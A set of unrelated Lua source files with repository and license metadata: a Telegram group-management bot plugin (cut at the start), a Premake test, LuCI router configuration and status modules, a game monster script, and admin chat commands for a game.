يوجد _", 0, "md") else return tdcli.sendMessage(arg.chat_id, "", 0, "*User Not Found*", 0, "md") end end end local function th3boss(msg, matches) local hash = "gp_lang:"..msg.chat_id_ local lang = redis:get(hash) if tonumber(msg.sender_user_id_) == SUDO then if matches[1] == "ارفع مطور" then if not matches[2] and tonumber(msg.reply_to_message_id_) ~= 0 then tdcli_function ({ ID = "GetMessage", chat_id_ = msg.chat_id_, message_id_ = msg.reply_to_message_id_ }, action_by_reply, {chat_id=msg.chat_id_,cmd="ارفع مطور"}) end if matches[2] and string.match(matches[2], '^%d+$') then tdcli_function ({ ID = "GetUser", user_id_ = matches[2], }, action_by_id, {chat_id=msg.chat_id_,user_id=matches[2],cmd="ارفع مطور"}) end if matches[2] and not string.match(matches[2], '^%d+$') then tdcli_function ({ ID = "SearchPublicChat", username_ = matches[2] }, action_by_username, {chat_id=msg.chat_id_,username=matches[2],cmd="ارفع مطور"}) end end if matches[1] == "نزل مطور" then if not matches[2] and tonumber(msg.reply_to_message_id_) ~= 0 then tdcli_function ({ ID = "GetMessage", chat_id_ = msg.chat_id_, message_id_ = msg.reply_to_message_id_ }, action_by_reply, {chat_id=msg.chat_id_,cmd="نزل مطور"}) end if matches[2] and string.match(matches[2], '^%d+$') then tdcli_function ({ ID = "GetUser", user_id_ = matches[2], }, action_by_id, {chat_id=msg.chat_id_,user_id=matches[2],cmd="نزل مطور"}) end if matches[2] and not string.match(matches[2], '^%d+$') then tdcli_function ({ ID = "SearchPublicChat", username_ = matches[2] }, action_by_username, {chat_id=msg.chat_id_,username=matches[2],cmd="نزل مطور"}) end end end if matches[1] == "ارفع اداري" and is_sudo(msg) then if not matches[2] and tonumber(msg.reply_to_message_id_) ~= 0 then tdcli_function ({ ID = "GetMessage", chat_id_ = msg.chat_id_, message_id_ = msg.reply_to_message_id_ }, action_by_reply, {chat_id=msg.chat_id_,cmd="ارفع اداري"}) end if matches[2] and string.match(matches[2], '^%d+$') then tdcli_function ({ ID = "GetUser", user_id_ = matches[2], }, action_by_id, {chat_id=msg.chat_id_,user_id=matches[2],cmd="ارفع اداري"}) end if matches[2] and not string.match(matches[2], '^%d+$') then tdcli_function ({ ID = "SearchPublicChat", username_ = matches[2] }, action_by_username, {chat_id=msg.chat_id_,username=matches[2],cmd="ارفع اداري"}) end end if matches[1] == "نزل اداري" and is_sudo(msg) then if not matches[2] and tonumber(msg.reply_to_message_id_) ~= 0 then tdcli_function ({ ID = "GetMessage", chat_id_ = msg.chat_id_, message_id_ = msg.reply_to_message_id_ }, action_by_reply, {chat_id=msg.chat_id_,cmd="نزل اداري"}) end if matches[2] and string.match(matches[2], '^%d+$') then tdcli_function ({ ID = "GetUser", user_id_ = matches[2], }, action_by_id, {chat_id=msg.chat_id_,user_id=matches[2],cmd="نزل اداري"}) end if matches[2] and not string.match(matches[2], '^%d+$') then tdcli_function ({ ID = "SearchPublicChat", username_ = matches[2] }, action_by_username, {chat_id=msg.chat_id_,username=matches[2],cmd="نزل اداري"}) end end if matches[1] == 'انشاء مجموعه' and is_admin(msg) then local text = matches[2] tdcli.createNewGroupChat({[0] = msg.sender_user_id_}, text) if not lang then return '_Group Has Been Created!_' else return '_📌¦ تـم أنـشـاء الـمـجـوعـه ☑️_' end end if matches[1] == 'ترقيه سوبر' and is_admin(msg) then local text = matches[2] tdcli.createNewChannelChat({[0] = msg.sender_user_id_}, text) if not lang then return '_SuperGroup Has Been Created!_' else return '_📌¦ تـم تـرقـيـه الـمـجـوعـه ☑️_' end end if matches[1] == 'صنع خارقه' and is_admin(msg) then local id = msg.chat_id_ tdcli.migrateGroupChatToChannelChat(id) if not lang then return '_Group Has Been Changed To SuperGroup!_' else return '_📌¦ تـم أنـشـاء الـمـجـوعـه ☑️_' end end if matches[1] == 'ادخل' and is_admin(msg) then tdcli.importChatInviteLink(matches[2]) if not lang then return '*Done!*' else return '*تــم!*' end end if matches[1] == 'ضع اسم البوت' and is_sudo(msg) then tdcli.changeName(matches[2]) if not lang then return '_Bot Name Changed To:_ *'..matches[2]..'*' else return '*📌¦ تم تغيير اسم البوت \n📌¦ الاسم الجديد : *'..matches[2]..'*' end end if matches[1] == 'ضع معرف البوت' and is_sudo(msg) then tdcli.changeUsername(matches[2]) if not lang then return '*📌¦ Bot Username Changed To *\n*📌¦ username :* @'..matches[2] else return '*➿| تم تعديل معرف البوت *\n* 💡| المعرف الجديد :* @'..matches[2]..'' end end if matches[1] == 'مسح معرف البوت' and is_sudo(msg) then tdcli.changeUsername('') if not lang then return '*Done!*' else return '_تم حذف معرف البوت _' end end if matches[1] == 'الماركدوان' then if matches[2] == 'تفعيل' then redis:set('markread','on') if not lang then return '_Markread >_ *ON*' else return '_تم تفعيل الماركدوات 📌¦_' end end if matches[2] == 'تعطيل' then redis:set('markread','off') if not lang then return '_Markread >_ *OFF*' else return '_تم تعطيل الماركدوات 📌¦_' end end end if matches[1] == 'bc' and is_admin(msg) then tdcli.sendMessage(matches[2], 0, 0, matches[3], 0) end if matches[1] == 'اذاعة' and is_sudo(msg) then local data = load_data(_config.moderation.data) local bc = matches[2] for k,v in pairs(data) do tdcli.sendMessage(k, 0, 0, bc, 0) end end if matches[1] == 'المطورين' and is_sudo(msg) then return sudolist(msg) end if matches[1] == 'المطور' then return tdcli.sendMessage(msg.chat_id_, msg.id_, 1, _config.info_text, 1, 'html') end if matches[1] == 'الاداريين' and is_admin(msg) then return adminlist(msg) end if matches[1] == 'المغادره' and is_admin(msg) then tdcli.changeChatMemberStatus(chat, our_id, 'Left', dl_cb, nil) end if matches[1] == 'الخروج التلقائي' and is_admin(msg) then local hash = 'auto_leave_bot' --Enable Auto Leave if matches[2] == 'تفعيل' then redis:del(hash) return 'Auto leave has been enabled' --Disable Auto Leave elseif matches[2] == 'تعطيل' then redis:set(hash, true) return 'Auto leave has been disabled' --Auto Leave Status elseif matches[2] == 'الحاله' then if not redis:get(hash) then return 'Auto leave is enable' else return 'Auto leave is disable' end end end end return { patterns = { "^(ارفع مطور)$", "^(نزل مطور)$", "^(المطوريين)$", "^(ارفع مطور) (.*)$", "^(نزل مطور) (.*)$", "^(ارفع اداري)$", "^(نزل اداري)$", "^(الاداريين)$", "^(ارفع اداري) (.*)$", "^(نزل اداري) (.*)$", "^(المغادره)$", "^(الخروج التلقائي) (.*)$", "^(المطور)$", "^(انشاء مجموعه) (.*)$", "^(ترقيه سوبر) (.*)$", "^(صنع خارقه)$", "^(ادخل) (.*)$", "^(ضع اسم البوت) (.*)$", "^(ضع معرف البوت) (.*)$", "^(مسح معرف البوت) (.*)$", "^(الماركدوان) (.*)$", "^(bc) (%d+) (.*)$", "^(تفعيل) (.*)$", "^(تعطيل) (.*)$", "^(اذاعة) (.*)$", }, run = run } --[[ ✄╔═╗╔═╗─────╔═══╗──╔══╗──╔════╗dev:@meedo1133 ✄║║╚╝║║─────╚╗╔╗║──║╔╗║──║╔╗╔╗║dev:@hema1133 ✄║╔╗╔╗╠══╦══╗║║║╠══╣╚╝╚╦═╩╣║║╚╝cha:@meedoyemen ✄║║║║║║║═╣║═╣║║║║╔╗║╔═╗║╔╗║║║ fbk:@mmalhossainy ✄║║║║║║║═╣║═╬╝╚╝║╚╝║╚═╝║╚╝║║║ gml:meedoyemen@gmail.com ✄╚╝╚╝╚╩══╩══╩═══╩══╩═══╩══╝╚╝ inst:@meedoyemen ]]--
gpl-2.0
soundsrc/premake-core
modules/vstudio/tests/vc2010/test_excluded_configs.lua
16
1660
-- -- tests/actions/vstudio/vc2010/test_excluded_configs.lua -- Check handling of configurations which have been excluded from the build. -- Copyright (c) 2012-2013 Jason Perkins and the Premake project -- local p = premake local suite = test.declare("vs2010_excluded_configs") local vc2010 = p.vstudio.vc2010 -- -- Setup/teardown -- local wks, prj function suite.setup() p.action.set("vs2010") wks = workspace("MyWorkspace") configurations { "Debug", "Release" } platforms { "Zeus", "Ares" } language "C++" prj = project("MyProject") kind "ConsoleApp" links { "MyProject2", "MyProject3" } project("MyProject2") kind "StaticLib" project("MyProject3") kind "StaticLib" removeplatforms { "Ares" } end local function prepare(platform) local cfg = test.getconfig(prj, "Debug", platform) vc2010.linker(cfg) end -- -- If a sibling is included in one configuration and excluded from -- another, the included configuration should link as normal. -- function suite.normalLink_onIncludedConfig() prepare("Zeus") test.capture [[ <Link> <SubSystem>Console</SubSystem> </Link> ]] end -- -- If a sibling is included in one configuration and excluded from -- another, the excluded configuration should force explicit linking -- and not list the excluded library. -- function suite.explicitLink_onExcludedConfig() prepare("Ares") test.capture [[ <Link> <SubSystem>Console</SubSystem> <AdditionalDependencies>bin\Ares\Debug\MyProject2.lib;%(AdditionalDependencies)</AdditionalDependencies> </Link> <ProjectReference> <LinkLibraryDependencies>false</LinkLibraryDependencies> </ProjectReference> ]] end
bsd-3-clause
qq779089973/ramod
luci/applications/luci-statistics/luasrc/model/cbi/luci_statistics/collectd.lua
69
2332
--[[ Luci configuration model for statistics - general collectd configuration (c) 2008 Freifunk Leipzig / Jo-Philipp Wich <xm@leipzig.freifunk.net> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 $Id$ ]]-- require("luci.sys") m = Map("luci_statistics", translate("Collectd Settings"), translate( "Collectd is a small daemon for collecting data from " .. "various sources through different plugins. On this page " .. "you can change general settings for the collectd daemon." )) -- general config section s = m:section( NamedSection, "collectd", "luci_statistics" ) -- general.hostname (Hostname) hostname = s:option( Value, "Hostname", translate("Hostname") ) hostname.default = luci.sys.hostname() hostname.optional = true -- general.basedir (BaseDir) basedir = s:option( Value, "BaseDir", translate("Base Directory") ) basedir.default = "/var/run/collectd" -- general.include (Include) include = s:option( Value, "Include", translate("Directory for sub-configurations") ) include.default = "/etc/collectd/conf.d/*.conf" -- general.plugindir (PluginDir) plugindir = s:option( Value, "PluginDir", translate("Directory for collectd plugins") ) plugindir.default = "/usr/lib/collectd/" -- general.pidfile (PIDFile) pidfile = s:option( Value, "PIDFile", translate("Used PID file") ) pidfile.default = "/var/run/collectd.pid" -- general.typesdb (TypesDB) typesdb = s:option( Value, "TypesDB", translate("Datasets definition file") ) typesdb.default = "/etc/collectd/types.db" -- general.interval (Interval) interval = s:option( Value, "Interval", translate("Data collection interval"), translate("Seconds") ) interval.default = 60 interval.isnumber = true -- general.readthreads (ReadThreads) readthreads = s:option( Value, "ReadThreads", translate("Number of threads for data collection") ) readthreads.default = 5 readthreads.isnumber = true -- general.fqdnlookup (FQDNLookup) fqdnlookup = s:option( Flag, "FQDNLookup", translate("Try to lookup fully qualified hostname") ) fqdnlookup.enabled = "true" fqdnlookup.disabled = "false" fqdnlookup.default = "false" fqdnlookup.optional = true fqdnlookup:depends( "Hostname", "" ) return m
mit
LaFamiglia/Illarion-Content
monster/race_30_golem/id_306_dimond_golem.lua
1
1116
--[[ Illarion Server This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ]] --ID 306, Diamondgolem, Level: 7, Armourtype: heavy, Weapontype: conussion local base = require("monster.base.base") local golems = require("monster.race_30_golem.base") local M = golems.generateCallbacks() local orgOnSpawn = M.onSpawn function M.onSpawn(monster) if orgOnSpawn ~= nil then orgOnSpawn(monster) end base.setColor{monster = monster, target = base.SKIN_COLOR, red = 100, green = 255, blue = 255, alpha = 190} end return M
agpl-3.0
RedSnake64/openwrt-luci-packages
applications/luci-app-olsr/luasrc/model/cbi/olsr/olsrdiface.lua
68
6587
-- Copyright 2010 Jo-Philipp Wich <jow@openwrt.org> -- Licensed to the public under the Apache License 2.0. local util = require "luci.util" local ip = require "luci.ip" function write_float(self, section, value) local n = tonumber(value) if n ~= nil then return Value.write(self, section, "%.1f" % n) end end m = Map("olsrd", translate("OLSR Daemon - Interface"), translate("The OLSR daemon is an implementation of the Optimized Link State Routing protocol. ".. "As such it allows mesh routing for any network equipment. ".. "It runs on any wifi card that supports ad-hoc mode and of course on any ethernet device. ".. "Visit <a href='http://www.olsr.org'>olsrd.org</a> for help and documentation.")) m.redirect = luci.dispatcher.build_url("admin/services/olsrd") if not arg[1] or m.uci:get("olsrd", arg[1]) ~= "Interface" then luci.http.redirect(m.redirect) return end i = m:section(NamedSection, arg[1], "Interface", translate("Interface")) i.anonymous = true i.addremove = false i:tab("general", translate("General Settings")) i:tab("addrs", translate("IP Addresses")) i:tab("timing", translate("Timing and Validity")) ign = i:taboption("general", Flag, "ignore", translate("Enable"), translate("Enable this interface.")) ign.enabled = "0" ign.disabled = "1" ign.rmempty = false function ign.cfgvalue(self, section) return Flag.cfgvalue(self, section) or "0" end network = i:taboption("general", Value, "interface", translate("Network"), translate("The interface OLSRd should serve.")) network.template = "cbi/network_netlist" network.widget = "radio" network.nocreate = true mode = i:taboption("general", ListValue, "Mode", translate("Mode"), translate("Interface Mode is used to prevent unnecessary packet forwarding on switched ethernet interfaces. ".. "valid Modes are \"mesh\" and \"ether\". Default is \"mesh\".")) mode:value("mesh") mode:value("ether") mode.optional = true mode.rmempty = true weight = i:taboption("general", Value, "Weight", translate("Weight"), translate("When multiple links exist between hosts the weight of interface is used to determine the link to use. ".. "Normally the weight is automatically calculated by olsrd based on the characteristics of the interface, ".. "but here you can specify a fixed value. Olsrd will choose links with the lowest value.<br />".. "<b>Note:</b> Interface weight is used only when LinkQualityLevel is set to 0. ".. "For any other value of LinkQualityLevel, the interface ETX value is used instead.")) weight.optional = true weight.datatype = "uinteger" weight.placeholder = "0" lqmult = i:taboption("general", DynamicList, "LinkQualityMult", translate("LinkQuality Multiplicator"), translate("Multiply routes with the factor given here. Allowed values are between 0.01 and 1.0. ".. "It is only used when LQ-Level is greater than 0. Examples:<br />".. "reduce LQ to 192.168.0.1 by half: 192.168.0.1 0.5<br />".. "reduce LQ to all nodes on this interface by 20%: default 0.8")) lqmult.optional = true lqmult.rmempty = true lqmult.cast = "table" lqmult.placeholder = "default 1.0" function lqmult.validate(self, value) for _, v in pairs(value) do if v ~= "" then local val = util.split(v, " ") local host = val[1] local mult = val[2] if not host or not mult then return nil, translate("LQMult requires two values (IP address or 'default' and multiplicator) seperated by space.") end if not (host == "default" or ip.IPv4(host) or ip.IPv6(host)) then return nil, translate("Can only be a valid IPv4 or IPv6 address or 'default'") end if not tonumber(mult) or tonumber(mult) > 1 or tonumber(mult) < 0.01 then return nil, translate("Invalid Value for LQMult-Value. Must be between 0.01 and 1.0.") end if not mult:match("[0-1]%.[0-9]+") then return nil, translate("Invalid Value for LQMult-Value. You must use a decimal number between 0.01 and 1.0 here.") end end end return value end ip4b = i:taboption("addrs", Value, "Ip4Broadcast", translate("IPv4 broadcast"), translate("IPv4 broadcast address for outgoing OLSR packets. One useful example would be 255.255.255.255. ".. "Default is \"0.0.0.0\", which triggers the usage of the interface broadcast IP.")) ip4b.optional = true ip4b.datatype = "ip4addr" ip4b.placeholder = "0.0.0.0" ip6m = i:taboption("addrs", Value, "IPv6Multicast", translate("IPv6 multicast"), translate("IPv6 multicast address. Default is \"FF02::6D\", the manet-router linklocal multicast.")) ip6m.optional = true ip6m.datatype = "ip6addr" ip6m.placeholder = "FF02::6D" ip4s = i:taboption("addrs", Value, "IPv4Src", translate("IPv4 source"), translate("IPv4 src address for outgoing OLSR packages. Default is \"0.0.0.0\", which triggers usage of the interface IP.")) ip4s.optional = true ip4s.datatype = "ip4addr" ip4s.placeholder = "0.0.0.0" ip6s = i:taboption("addrs", Value, "IPv6Src", translate("IPv6 source"), translate("IPv6 src prefix. OLSRd will choose one of the interface IPs which matches the prefix of this parameter. ".. "Default is \"0::/0\", which triggers the usage of a not-linklocal interface IP.")) ip6s.optional = true ip6s.datatype = "ip6addr" ip6s.placeholder = "0::/0" hi = i:taboption("timing", Value, "HelloInterval", translate("Hello interval")) hi.optional = true hi.datatype = "ufloat" hi.placeholder = "5.0" hi.write = write_float hv = i:taboption("timing", Value, "HelloValidityTime", translate("Hello validity time")) hv.optional = true hv.datatype = "ufloat" hv.placeholder = "40.0" hv.write = write_float ti = i:taboption("timing", Value, "TcInterval", translate("TC interval")) ti.optional = true ti.datatype = "ufloat" ti.placeholder = "2.0" ti.write = write_float tv = i:taboption("timing", Value, "TcValidityTime", translate("TC validity time")) tv.optional = true tv.datatype = "ufloat" tv.placeholder = "256.0" tv.write = write_float mi = i:taboption("timing", Value, "MidInterval", translate("MID interval")) mi.optional = true mi.datatype = "ufloat" mi.placeholder = "18.0" mi.write = write_float mv = i:taboption("timing", Value, "MidValidityTime", translate("MID validity time")) mv.optional = true mv.datatype = "ufloat" mv.placeholder = "324.0" mv.write = write_float ai = i:taboption("timing", Value, "HnaInterval", translate("HNA interval")) ai.optional = true ai.datatype = "ufloat" ai.placeholder = "18.0" ai.write = write_float av = i:taboption("timing", Value, "HnaValidityTime", translate("HNA validity time")) av.optional = true av.datatype = "ufloat" av.placeholder = "108.0" av.write = write_float return m
apache-2.0
bsmr-games/lipsofsuna
data/lipsofsuna/core/unlock/chat-commands.lua
1
1790
Main.chat:register_command{ name = "unlock_action", description = "Unlock an action.", pattern = "^/unlock_action (.*)$", permission = "admin", handler = "server", func = function(player, matches) local spec = Main.specs:find_by_name("ActionSpec", matches[1]) if spec then Main.unlocks:unlock("action", matches[1]) else player:send_message(string.format("No such action %q.", matches[1])) end end} Main.chat:register_command{ name = "unlock_all", description = "Unlock all skills, spell types or spell effects.", pattern = "^/unlock_all$", permission = "admin", handler = "server", func = function(player, matches) Main.unlocks:unlock_all() end} Main.chat:register_command{ name = "unlock_random", description = "Unlock a random skill, spell type or spell effect.", pattern = "^/unlock_random$", permission = "admin", handler = "server", func = function(player, matches) Main.unlocks:unlock_random() end} Main.chat:register_command{ name = "unlock_modifier", description = "Unlock a modifier.", pattern = "^/unlock_modifier (.*)$", permission = "admin", handler = "server", func = function(player, matches) local spec = Main.specs:find_by_name("ModifierSpec", matches[1]) if spec then Main.unlocks:unlock("modifier", matches[1]) else player:send_message(string.format("No such modifier %q.", matches[1])) end end} Main.chat:register_command{ name = "unlock_skill", description = "Unlock a skill.", pattern = "^/unlock_skill (.*)$", permission = "admin", handler = "server", func = function(player, matches) local spec = Main.specs:find_by_name("SkillSpec", matches[1]) if spec then Main.unlocks:unlock("skill", matches[1]) else player:send_message(string.format("No such skill %q.", matches[1])) end end}
gpl-3.0
qq779089973/ramod
luci/modules/admin-core/luasrc/tools/status.lua
49
5227
--[[ LuCI - Lua Configuration Interface Copyright 2011 Jo-Philipp Wich <xm@subsignal.org> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 ]]-- module("luci.tools.status", package.seeall) local uci = require "luci.model.uci".cursor() local function dhcp_leases_common(family) local rv = { } local nfs = require "nixio.fs" local leasefile = "/var/dhcp.leases" uci:foreach("dhcp", "dnsmasq", function(s) if s.leasefile and nfs.access(s.leasefile) then leasefile = s.leasefile return false end end) local fd = io.open(leasefile, "r") if fd then while true do local ln = fd:read("*l") if not ln then break else local ts, mac, ip, name, duid = ln:match("^(%d+) (%S+) (%S+) (%S+) (%S+)") if ts and mac and ip and name and duid then if family == 4 and not ip:match(":") then rv[#rv+1] = { expires = os.difftime(tonumber(ts) or 0, os.time()), macaddr = mac, ipaddr = ip, hostname = (name ~= "*") and name } elseif family == 6 and ip:match(":") then rv[#rv+1] = { expires = os.difftime(tonumber(ts) or 0, os.time()), ip6addr = ip, duid = (duid ~= "*") and duid, hostname = (name ~= "*") and name } end end end end fd:close() end local fd = io.open("/tmp/hosts/odhcpd", "r") if fd then while true do local ln = fd:read("*l") if not ln then break else local iface, duid, iaid, name, ts, id, length, ip = ln:match("^# (%S+) (%S+) (%S+) (%S+) (%d+) (%S+) (%S+) (.*)") if ip and iaid ~= "ipv4" and family == 6 then rv[#rv+1] = { expires = os.difftime(tonumber(ts) or 0, os.time()), duid = duid, ip6addr = ip, hostname = (name ~= "-") and name } elseif ip and iaid == "ipv4" and family == 4 then rv[#rv+1] = { expires = os.difftime(tonumber(ts) or 0, os.time()), macaddr = duid, ipaddr = ip, hostname = (name ~= "-") and name } end end end fd:close() end return rv end function dhcp_leases() return dhcp_leases_common(4) end function dhcp6_leases() return dhcp_leases_common(6) end function wifi_networks() local rv = { } local ntm = require "luci.model.network".init() local dev for _, dev in ipairs(ntm:get_wifidevs()) do local rd = { up = dev:is_up(), device = dev:name(), name = dev:get_i18n(), networks = { } } local net for _, net in ipairs(dev:get_wifinets()) do rd.networks[#rd.networks+1] = { name = net:shortname(), link = net:adminlink(), up = net:is_up(), mode = net:active_mode(), ssid = net:active_ssid(), bssid = net:active_bssid(), encryption = net:active_encryption(), frequency = net:frequency(), channel = net:channel(), signal = net:signal(), quality = net:signal_percent(), noise = net:noise(), bitrate = net:bitrate(), ifname = net:ifname(), assoclist = net:assoclist(), country = net:country(), txpower = net:txpower(), txpoweroff = net:txpower_offset() } end rv[#rv+1] = rd end return rv end function wifi_network(id) local ntm = require "luci.model.network".init() local net = ntm:get_wifinet(id) if net then local dev = net:get_device() if dev then return { id = id, name = net:shortname(), link = net:adminlink(), up = net:is_up(), mode = net:active_mode(), ssid = net:active_ssid(), bssid = net:active_bssid(), encryption = net:active_encryption(), frequency = net:frequency(), channel = net:channel(), signal = net:signal(), quality = net:signal_percent(), noise = net:noise(), bitrate = net:bitrate(), ifname = net:ifname(), assoclist = net:assoclist(), country = net:country(), txpower = net:txpower(), txpoweroff = net:txpower_offset(), device = { up = dev:is_up(), device = dev:name(), name = dev:get_i18n() } } end end return { } end function switch_status(devs) local dev local switches = { } for dev in devs:gmatch("[^%s,]+") do local ports = { } local swc = io.popen("swconfig dev %q show" % dev, "r") if swc then local l repeat l = swc:read("*l") if l then local port, up = l:match("port:(%d+) link:(%w+)") if port then local speed = l:match(" speed:(%d+)") local duplex = l:match(" (%w+)-duplex") local txflow = l:match(" (txflow)") local rxflow = l:match(" (rxflow)") local auto = l:match(" (auto)") ports[#ports+1] = { port = tonumber(port) or 0, speed = tonumber(speed) or 0, link = (up == "up"), duplex = (duplex == "full"), rxflow = (not not rxflow), txflow = (not not txflow), auto = (not not auto) } end end until not l swc:close() end switches[dev] = ports end return switches end
mit